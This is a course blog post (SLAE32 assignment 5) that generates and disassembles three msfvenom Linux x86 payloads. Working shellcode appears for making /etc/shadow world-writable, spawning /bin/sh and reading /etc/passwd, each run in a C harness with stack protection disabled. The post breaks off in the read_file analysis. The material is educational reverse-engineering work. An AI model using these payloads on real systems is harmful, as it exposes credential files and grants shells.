Post

SLAE32 - Assignment #5 - Analysis of msfvenom payloads

Introduction

This is the blog post for the 5th Assignment of the SLAE32 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 32-bit Assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform.

The purpose of this assignment is to analyze 3 different payloads generated by msfvenom, which is a Metasploit standalone payload generator and has replaced msfpayload and msfencode. In order to explore the available 32-bit Linux payloads the following command must be executed: msfvenom -l payloads | grep "linux/x86" . The table below is used to navigate to each analysis and provides the description of each payload.

Msfvenom payload Description Size
linux/x86/chmod Runs chmod on specified file with specified mode 36
linux/x86/exec Execute an arbitrary coommand or just a /bin/sh shell 20
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor 62

My code can be found in my Github: geobour98’s Github.

Analyzing shellcode

3 different ways of analyzing shellcode were described in the course. These are: gdb, ndisasm and libemu. gdb is the GNU debugger and allows us to see what is going on “inside” another program while it executes. ndisasm is the Netwide Disassembler, an 80x86 binary file disassembler, that generates a disassembly listing of the binary file infile and directs it to stdout. libemu is a library which can be used for x86 emulation and shellcode detection.

The process that is followed for each payload is that the shellcode is extracted first and then it is tested in the file shellcode.c, as shown in previous blog posts. After that, one of the above ways is used to analyze the shellcode.

linux/x86/chmod

The payload linux/x86/chmod is used to run chmod on specified file with specified mode.

The next command shows the available options for this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ msfvenom -p linux/x86/chmod --list-options
Options for payload/linux/x86/chmod:
=========================


       Name: Linux Chmod
     Module: payload/linux/x86/chmod
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Description:
    Runs chmod on specified file with specified mode



Advanced options for payload/linux/x86/chmod:
=========================

    Name                Current Setting  Required  Description
    ----                ---------------  --------  -----------
    AppendExit          false            no        Append a stub that executes the exit(0) system call
    PrependChrootBreak  false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
    PrependFork         false            no        Prepend a stub that starts the payload in its own process via fork
    PrependSetgid       false            no        Prepend a stub that executes the setgid(0) system call
    PrependSetregid     false            no        Prepend a stub that executes the setregid(0, 0) system call
    PrependSetresgid    false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
    PrependSetresuid    false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
    PrependSetreuid     false            no        Prepend a stub that executes the setreuid(0, 0) system call
    PrependSetuid       false            no        Prepend a stub that executes the setuid(0) system call
    VERBOSE             false            no        Enable detailed status messages
    WORKSPACE                            no        Specify the workspace for this module

Evasion options for payload/linux/x86/chmod:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------

The option that we change is the following: MODE. We want it to be 0777 instead of 0666. The targeted FILE is /etc/shadow. By default, /etc/shadow has permissions 0640 in octal. That means that the owner can read and write to the file and any member that belongs to the group can read the file. By changing the permissions to 0777 it means that anyone can read, write or modify that file.

The following command utilizes the chmod payload, changes the MODE to 0777 and outputs the shellcode in C format.

1
2
3
4
5
6
7
8
9
10
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ msfvenom -p linux/x86/chmod MODE=0777 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63"
"\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xff\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";

Now we can paste the extracted shellcode in the file shellcode.c. So, the whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<string.h>

unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63"
"\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xff\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(buf));

	int (*ret)() = (int(*)())buf;

	ret();
}

Now we need to compile the program, by disabling the stack protection as well as making the stack executable:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode. We also check the permissions of /etc/shadow before and after the execution.

1
2
3
4
5
6
7
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1298 Μάρ  31 20:04 /etc/shadow
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ sudo ./shellcode 
[sudo] password for geobour98: 
Shellcode Length:  7
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1298 Μάρ  31 20:04 /etc/shadow

Now that we know the payload is working, we can start analyzing it with gdb. Run shellcode on gdb and don’t print version number on startup:

1
2
3
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) 

By default, gdb disassembles each program in AT&T syntax of Assembly. In order to change it to Intel syntax and make it more readable we run the following command:

1
(gdb) set disassembly-flavor intel

Now can set a breakpoint at the shellcode (buf variable) by first finding its address. Then we can run and disassemble in order to see the instructions at that point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(gdb) print/x &buf
$1 = 0x804a040
(gdb) break *0x804a040
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod/shellcode 
Shellcode Length:  7

Breakpoint 1, 0x0804a040 in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
=> 0x0804a040 <+0>:	cdq    
   0x0804a041 <+1>:	push   0xf
   0x0804a043 <+3>:	pop    eax
   0x0804a044 <+4>:	push   edx
   0x0804a045 <+5>:	call   0x804a056 <buf+22>
   0x0804a04a <+10>:	das    
   0x0804a04b <+11>:	gs je  0x804a0b1
   0x0804a04e <+14>:	das    
   0x0804a04f <+15>:	jae    0x804a0b9
   0x0804a051 <+17>:	popa   
   0x0804a052 <+18>:	outs   dx,DWORD PTR fs:[esi]
   0x0804a054 <+20>:	ja     0x804a056 <buf+22>
   0x0804a056 <+22>:	pop    ebx
   0x0804a057 <+23>:	push   0x1ff
   0x0804a05c <+28>:	pop    ecx
   0x0804a05d <+29>:	int    0x80
   0x0804a05f <+31>:	push   0x1
   0x0804a061 <+33>:	pop    eax
   0x0804a062 <+34>:	int    0x80
   0x0804a064 <+36>:	add    BYTE PTR [eax],al
End of assembler dump.

The hex value 0xf (15 in decimal) is pushed to the stack and then is popped and saved to EAX register. Since the syscall number is saved in EAX register, we can identify from the header file: /usr/include/i386-linux-gnu/asm/unistd_32.h that the syscall with number 15 is for chmod (#define __NR_chmod 15).

1
2
   0x0804a041 <+1>:	push   0xf
   0x0804a043 <+3>:	pop    eax

Then, we can see the prototype of the chmod function from the manual page (man 2 chmod) and verify that it expects the pathname and the mode:

1
       int chmod(const char *pathname, mode_t mode);

The chmod syscall is going to be executed after int 0x80 instruction at 0x0804a05d. So, we can put another breakpoint there, continue through the code and disassemble again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) break *0x0804a05d
Breakpoint 2 at 0x804a05d
(gdb) c
Continuing.

Breakpoint 2, 0x0804a05d in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
   0x0804a040 <+0>:	cdq    
   0x0804a041 <+1>:	push   0xf
   0x0804a043 <+3>:	pop    eax
   0x0804a044 <+4>:	push   edx
   0x0804a045 <+5>:	call   0x804a056 <buf+22>
   0x0804a04a <+10>:	das    
   0x0804a04b <+11>:	gs je  0x804a0b1
   0x0804a04e <+14>:	das    
   0x0804a04f <+15>:	jae    0x804a0b9
   0x0804a051 <+17>:	popa   
   0x0804a052 <+18>:	outs   dx,DWORD PTR fs:[esi]
   0x0804a054 <+20>:	ja     0x804a056 <buf+22>
   0x0804a056 <+22>:	pop    ebx
   0x0804a057 <+23>:	push   0x1ff
   0x0804a05c <+28>:	pop    ecx
=> 0x0804a05d <+29>:	int    0x80
   0x0804a05f <+31>:	push   0x1
   0x0804a061 <+33>:	pop    eax
   0x0804a062 <+34>:	int    0x80
   0x0804a064 <+36>:	add    BYTE PTR [eax],al
End of assembler dump.

Now the most interesting parts for us are the values of EBX and ECX registers, since they should contain the values for the pathname, the file we want to change permissions, and the mode, the new permissions. At this point we can display the contents of the registers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) info registers
eax            0xf	15
ecx            0x1ff	511
edx            0x0	0
ebx            0x804a04a	134520906
esp            0xbfffedb8	0xbfffedb8
ebp            0xbfffedd8	0xbfffedd8
esi            0xb7fbb000	-1208242176
edi            0xb7fbb000	-1208242176
eip            0x804a05d	0x804a05d <buf+29>
eflags         0x286	[ PF SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Now for the EBX we can examine the next 15 characters after the memory of EBX.

1
2
3
(gdb) x/15c 0x804a04a
0x804a04a <buf+10>:	47 '/'	101 'e'	116 't'	99 'c'	47 '/'	115 's'	104 'h'	97 'a'
0x804a052 <buf+18>:	100 'd'	111 'o'	119 'w'	0 '\000'	91 '['	104 'h'	-1 '\377'

We can clearly see that the string “/etc/shadow” is contained there and is also null terminated. So the target file of the chmod syscall is the /etc/shadow as expected. Now we are done with pathname.

Next, for the ECX we see that it has the hex value 0x1ff, which is 777 in octal, again as expected.

1
ecx            0x1ff	511

Now the chmod syscall is ready for execution but there is another int 0x80 instruction, meaning there is another syscall to be executed.

The value 1 is pushed to the stack and then is popped and saved to EAX register. According to the header file: /usr/include/i386-linux-gnu/asm/unistd_32.h again the syscall with number 1 is for exit (#define __NR_exit 1).

1
2
   0x0804a05f <+31>:	push   0x1
   0x0804a061 <+33>:	pop    eax

The prototype of the exit function from its manual page (man exit) reveals that only one argument is needed (status) and it has no importance for us since this value is just returned to the parent. So, it doesn’t have to be set.

1
       void exit(int status);

Finally, we can set a breakpoint at the final int 0x80 isntruction at 0x0804a062, continue through the code and disassemble. What matters is the value of the EAX register, which is 1 as expected for the exit syscall.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
(gdb) break *0x0804a062
Breakpoint 3 at 0x804a062
(gdb) c
Continuing.

Breakpoint 3, 0x0804a062 in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
   0x0804a040 <+0>:	cdq    
   0x0804a041 <+1>:	push   0xf
   0x0804a043 <+3>:	pop    eax
   0x0804a044 <+4>:	push   edx
   0x0804a045 <+5>:	call   0x804a056 <buf+22>
   0x0804a04a <+10>:	das    
   0x0804a04b <+11>:	gs je  0x804a0b1
   0x0804a04e <+14>:	das    
   0x0804a04f <+15>:	jae    0x804a0b9
   0x0804a051 <+17>:	popa   
   0x0804a052 <+18>:	outs   dx,DWORD PTR fs:[esi]
   0x0804a054 <+20>:	ja     0x804a056 <buf+22>
   0x0804a056 <+22>:	pop    ebx
   0x0804a057 <+23>:	push   0x1ff
   0x0804a05c <+28>:	pop    ecx
   0x0804a05d <+29>:	int    0x80
   0x0804a05f <+31>:	push   0x1
   0x0804a061 <+33>:	pop    eax
=> 0x0804a062 <+34>:	int    0x80
   0x0804a064 <+36>:	add    BYTE PTR [eax],al
End of assembler dump.
(gdb) info registers
eax            0x1	1
ecx            0x1ff	511
edx            0x0	0
ebx            0x804a04a	134520906
esp            0xbfffedb8	0xbfffedb8
ebp            0xbfffedd8	0xbfffedd8
esi            0xb7fbb000	-1208242176
edi            0xb7fbb000	-1208242176
eip            0x804a062	0x804a062 <buf+34>
eflags         0x286	[ PF SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

The analysis of the linux/x86/chmod payload is over and the shellcode is working!

linux/x86/exec

The payload linux/x86/exec is used to execute an arbitrary command or just a /bin/sh shell.

The next command shows the available options for this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ msfvenom -p linux/x86/exec --list-options
Options for payload/linux/x86/exec:
=========================


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 20
       Rank: Normal

Provided by:
    vlad902 <vlad902@gmail.com>
    Geyslan G. Bem <geyslan@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    no        The command string to execute

Description:
    Execute an arbitrary command or just a /bin/sh shell



Advanced options for payload/linux/x86/exec:
=========================

    Name                Current Setting  Required  Description
    ----                ---------------  --------  -----------
    AppendExit          false            no        Append a stub that executes the exit(0) system call
    NullFreeVersion     false            yes       Null-free shellcode version
    PrependChrootBreak  false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
    PrependFork         false            no        Prepend a stub that starts the payload in its own process via fork
    PrependSetgid       false            no        Prepend a stub that executes the setgid(0) system call
    PrependSetregid     false            no        Prepend a stub that executes the setregid(0, 0) system call
    PrependSetresgid    false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
    PrependSetresuid    false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
    PrependSetreuid     false            no        Prepend a stub that executes the setreuid(0, 0) system call
    PrependSetuid       false            no        Prepend a stub that executes the setuid(0) system call
    VERBOSE             false            no        Enable detailed status messages
    WORKSPACE                            no        Specify the workspace for this module

Evasion options for payload/linux/x86/exec:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------

An arbitrary command could be set in CMD option, but if it isn’t provided then the /bin/sh shell is going to be executed.

So the following command utilizes the exec payload and outputs the shellcode in C format.

1
2
3
4
5
6
7
8
9
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ msfvenom -p linux/x86/exec -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 20 bytes
Final size of c file: 110 bytes
unsigned char buf[] = 
"\x31\xc9\xf7\xe1\xb0\x0b\x68\x2f\x73\x68\x00\x68\x2f\x62"
"\x69\x6e\x89\xe3\xcd\x80";

Now we can paste the extracted shellcode in the file shellcode.c. So, the whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<string.h>

unsigned char buf[] = 
"\x31\xc9\xf7\xe1\xb0\x0b\x68\x2f\x73\x68\x00\x68\x2f\x62"
"\x69\x6e\x89\xe3\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(buf));

	int (*ret)() = (int(*)())buf;

	ret();
}

Now we need to compile the program:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode. The commands id and ls are executed in the /bin/sh shell.

1
2
3
4
5
6
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ ./shellcode 
Shellcode Length:  10
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
shellcode  shellcode.c

ndisasm

Now that we know the payload is working, we can start analyzing it with ndisasm. With the following command the shellcode of the previous msfvenom command is passed to ndisasm and the processor mode is 32-bit:

1
2
3
4
5
6
7
8
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ echo -ne "\x31\xc9\xf7\xe1\xb0\x0b\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  F7E1              mul ecx
00000004  B00B              mov al,0xb
00000006  682F736800        push dword 0x68732f
0000000B  682F62696E        push dword 0x6e69622f
00000010  89E3              mov ebx,esp
00000012  CD80              int 0x80

We first notice that ECX register is cleared and a multiplication instruction happens between the contents of ECX and the contents of EAX. The upper 32 bits of the product are stored in EDX and the lower 32 bits in EAX. The product is 0 here, so basically the EAX is cleared.

1
2
00000000  31C9              xor ecx,ecx
00000002  F7E1              mul ecx

Then, the hex value 0xb (11 in decimal) is passed to AL. From the unistd_32.h header file we can identify that the syscall with number 11 is execve (#define __NR_execve 11) as expected.

1
00000004  B00B              mov al,0xb

According to the prototype of the execve function 3 arguments are expected, but it can work by only providing the filename and ignoring the others to be set as NULL.

1
       int execve(const char *filename, char *const argv[], char *const envp[]);

We can verify that the string pushed to the stack is “/bin/sh”, by using again the Python script reverse.py, which is the following:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python

import sys

input = sys.argv[1]

print 'String length: ' + str(len(input))

stringList = [input[i:i+4] for i in range(0, len(input), 4)]

for item in stringList[::-1]:
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

We can run the Python script with the string “/bin/sh”:

1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ ./reverse.py "/bin/sh"
String length: 7
hs/ : 68732f
nib/ : 6e69622f

The output of this script is exactly the same as the values that are pushed to the stack.

1
2
3
00000006  682F736800        push dword 0x68732f
0000000B  682F62696E        push dword 0x6e69622f
00000010  89E3              mov ebx,esp

Now EBX points at the top of the stack and we are sure that /bin/sh is going to be executed from the last instruction:

1
00000012  CD80              int 0x80

The analysis with ndisasm is over and we can analyze the same payload with gdb to view it from another perspective.

gdb

We load shellcode on gdb, set a breakpoint at the buf variable, run and disassemble:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &buf
$1 = 0x804a020
(gdb) break *0x804a020
Breakpoint 1 at 0x804a020
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec/shellcode 
Shellcode Length:  10

Breakpoint 1, 0x0804a020 in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
=> 0x0804a020 <+0>:	xor    ecx,ecx
   0x0804a022 <+2>:	mul    ecx
   0x0804a024 <+4>:	mov    al,0xb
   0x0804a026 <+6>:	push   0x68732f
   0x0804a02b <+11>:	push   0x6e69622f
   0x0804a030 <+16>:	mov    ebx,esp
   0x0804a032 <+18>:	int    0x80
   0x0804a034 <+20>:	add    BYTE PTR [eax],al
End of assembler dump.

From the disassemble we can see the same instructions as with ndisasm. So now we put another breakpoint before the syscall is executed at 0x0804a032 and we check the contents of the registers at that point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) break *0x0804a032
Breakpoint 2 at 0x804a032
(gdb) c
Continuing.

Breakpoint 2, 0x0804a032 in buf ()
(gdb) info registers
eax            0xb	11
ecx            0x0	0
edx            0x0	0
ebx            0xbfffee14	-1073746412
esp            0xbfffee14	0xbfffee14
ebp            0xbfffee38	0xbfffee38
esi            0xb7fbb000	-1208242176
edi            0xb7fbb000	-1208242176
eip            0x804a032	0x804a032 <buf+18>
eflags         0x206	[ PF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

We verify that the syscall number is 11 in EAX and we can examine the contents of the memory of EBX (10 characters).

1
2
3
(gdb) x/10c 0xbfffee14
0xbfffee14:	47 '/'	98 'b'	105 'i'	110 'n'	47 '/'	115 's'	104 'h'	0 '\000'
0xbfffee1c:	121 'y'	-124 '\204'

Again we can see the string “/bin/sh”. With the next instruction the syscall gets executed.

libemu

We can also analyze the shellcode with libemu. With the following command we pass the shellcode in raw format to the executable sctest of the libemu library. The output is very verbose (-vvv), the shellcode is read from stdin (-S), the max number of steps to run is a very large number to cover everything (-s 100000) and we save the output in a dot formatted callgraph in filepath (-G).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
geobour98@slae32-dev:~/libemu/tools/sctest$ msfvenom -p linux/x86/exec -f raw | sudo ./sctest -vvv -Ss 100000 -G exec_shellcode.dot
graph file exec_shellcode.dot
verbose = 3
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 20 bytes

<snip>

int execve (
     const char * dateiname = 0x00416fc6 => 
           = "/bin/sh";
     const char * argv[] = [
           = 0xffffffff => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

Now we need to convert the graph file to a png.

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ dot exec_shellcode.dot -Tpng -o exec_shellcode.png

The generated image shows what has been described previously.

Desktop View

The analysis of the linux/x86/exec payload is over and the shellcode is working!

linux/x86/read_file

The payload linux/x86/read_file is used to read up to 4096 bytes from the local file system and write it back out to the specified file descriptor.

The next command shows the available options for this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ msfvenom -p linux/x86/read_file --list-options
Options for payload/linux/x86/read_file:
=========================


       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    hal

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read

Description:
    Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor



Advanced options for payload/linux/x86/read_file:
=========================

    Name                Current Setting  Required  Description
    ----                ---------------  --------  -----------
    AppendExit          false            no        Append a stub that executes the exit(0) system call
    PrependChrootBreak  false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
    PrependFork         false            no        Prepend a stub that starts the payload in its own process via fork
    PrependSetgid       false            no        Prepend a stub that executes the setgid(0) system call
    PrependSetregid     false            no        Prepend a stub that executes the setregid(0, 0) system call
    PrependSetresgid    false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
    PrependSetresuid    false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
    PrependSetreuid     false            no        Prepend a stub that executes the setreuid(0, 0) system call
    PrependSetuid       false            no        Prepend a stub that executes the setuid(0) system call
    VERBOSE             false            no        Enable detailed status messages
    WORKSPACE                            no        Specify the workspace for this module

Evasion options for payload/linux/x86/read_file:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------

The option FD is the file descriptor to write output to, so we don’t change its value since we need STDOUT (value 1) to read the contents of the file on the screen. We change the PATH option, which is the file path to read, to /etc/passwd, so the first 4096 bytes of that file will be written to the specified file descriptor.

So the following command utilizes the read_file payload and outputs the shellcode in C format.

1
2
3
4
5
6
7
8
9
10
11
12
13
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ msfvenom -p linux/x86/read_file PATH=/etc/passwd -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 334 bytes
unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3"
"\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00"
"\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00"
"\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
"\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73"
"\x77\x64\x00";

Now we can paste the extracted shellcode in the file shellcode.c. So, the whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<string.h>

unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3"
"\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00"
"\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00"
"\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
"\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73"
"\x77\x64\x00";

main()
{

	printf("Shellcode Length:  %d\n", strlen(buf));

	int (*ret)() = (int(*)())buf;

	ret();
}

Now we need to compile the program:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode.

1
2
3
4
5
6
7
8
9
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ ./shellcode
Shellcode Length:  4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<snip>
geobour98:x:1000:1000:George Bourlakis,,,:/home/geobour98:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin

Now that we know the payload is working, we can start analyzing it with gdb. Change to Intel syntax, set a breakpoint at the shellcode (buf variable), run and disassemble.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &buf
$1 = 0x804a040
(gdb) break *0x804a040
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file/shellcode 
Shellcode Length:  4

Breakpoint 1, 0x0804a040 in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
=> 0x0804a040 <+0>:	jmp    0x804a078 <buf+56>
   0x0804a042 <+2>:	mov    eax,0x5
   0x0804a047 <+7>:	pop    ebx
   0x0804a048 <+8>:	xor    ecx,ecx
   0x0804a04a <+10>:	int    0x80
   0x0804a04c <+12>:	mov    ebx,eax
   0x0804a04e <+14>:	mov    eax,0x3
   0x0804a053 <+19>:	mov    edi,esp
   0x0804a055 <+21>:	mov    ecx,edi
   0x0804a057 <+23>:	mov    edx,0x1000
   0x0804a05c <+28>:	int    0x80
   0x0804a05e <+30>:	mov    edx,eax
   0x0804a060 <+32>:	mov    eax,0x4
   0x0804a065 <+37>:	mov    ebx,0x1
   0x0804a06a <+42>:	int    0x80
   0x0804a06c <+44>:	mov    eax,0x1
   0x0804a071 <+49>:	mov    ebx,0x0
   0x0804a076 <+54>:	int    0x80
   0x0804a078 <+56>:	call   0x804a042 <buf+2>
   0x0804a07d <+61>:	das    
   0x0804a07e <+62>:	gs je  0x804a0e4
   0x0804a081 <+65>:	das    
   0x0804a082 <+66>:	jo     0x804a0e5
   0x0804a084 <+68>:	jae    0x804a0f9
   0x0804a086 <+70>:	ja     0x804a0ec
   0x0804a088 <+72>:	add    BYTE PTR [eax],al
End of assembler dump.

We notice 4 different syscalls getting executed. We can identify that from the instructions: int 0x80.

Syscall #1

According to the header file: unistd_32.h the syscall with number 5 is open (#define __NR_open 5). open just opens a file. Its manual page (man 2 open) reveals that it needs 2 arguments: pathname and flags. The jmp instruction jumps at 0x804a078, where the instruction call calls back at 0x0804a042. The call instruction also pushes the address of the next address (0x0804a07d) to the stack. So, when the instruction pop happens the value from the stack is stored in EBX. We can examine that memory address and see that the string “/etc/passwd” is there. That is the value for the pathname. Then, the ECX register is cleared, so the flags will have value 0. After that, the syscall open gets executed.

Instructions:

1
2
3
4
5
=> 0x0804a040 <+0>:	jmp    0x804a078 <buf+56>
   0x0804a042 <+2>:	mov    eax,0x5
   0x0804a047 <+7>:	pop    ebx
   0x0804a048 <+8>:	xor    ecx,ecx
   0x0804a04a <+10>:	int    0x80

Memory examination (EBX):

1
2
3
